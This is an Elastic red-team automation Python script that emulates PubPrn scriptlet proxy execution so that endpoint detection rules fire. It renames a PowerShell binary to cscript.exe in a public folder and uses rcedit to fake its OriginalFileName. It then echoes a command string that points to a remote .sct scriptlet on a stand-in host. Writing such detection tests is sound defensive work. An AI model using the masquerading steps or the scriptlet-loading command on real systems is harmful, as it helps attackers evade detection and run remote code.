Mika Ayenson
48 lines
1.6 KiB
Python
48 lines
1.6 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
|
# or more contributor license agreements. Licensed under the Elastic License
|
|
# 2.0; you may not use this file except in compliance with the Elastic License
|
|
# 2.0.
|
|
|
|
from . import common
|
|
from . import RtaMetadata
|
|
|
|
|
|
metadata = RtaMetadata(
|
|
uuid="8b5119a5-9f78-492a-8448-ff726b0e0b4f",
|
|
platforms=["windows"],
|
|
endpoint=[
|
|
{"rule_name": "Scriptlet Proxy Execution via PubPrn", "rule_id": "0d4454a7-c682-4085-995c-300973c5bdea"},
|
|
{"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"},
|
|
{"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"},
|
|
],
|
|
siem=[],
|
|
techniques=["T1216", "T1218", "T1036", "T1059"],
|
|
)
|
|
|
|
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
|
|
RENAMER = common.get_path("bin", "rcedit-x64.exe")
|
|
|
|
|
|
@common.requires_os(metadata.platforms)
|
|
def main():
|
|
cscript = "C:\\Users\\Public\\cscript.exe"
|
|
rcedit = "C:\\Users\\Public\\rcedit.exe"
|
|
|
|
common.copy_file(RENAMER, rcedit)
|
|
common.copy_file(EXE_FILE, cscript)
|
|
|
|
cmd = "127.0.0.1 script:https://domain.com/folder/file.sct"
|
|
# Execute command
|
|
common.log("Modifying the OriginalFileName attribute")
|
|
common.execute(
|
|
[rcedit, cscript, "--set-version-string", "OriginalFileName", "cscript.exe"],
|
|
timeout=10,
|
|
)
|
|
common.execute([cscript, "/c", "echo", cmd], timeout=5, kill=True)
|
|
|
|
common.remove_files(cscript, rcedit)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
exit(main())
|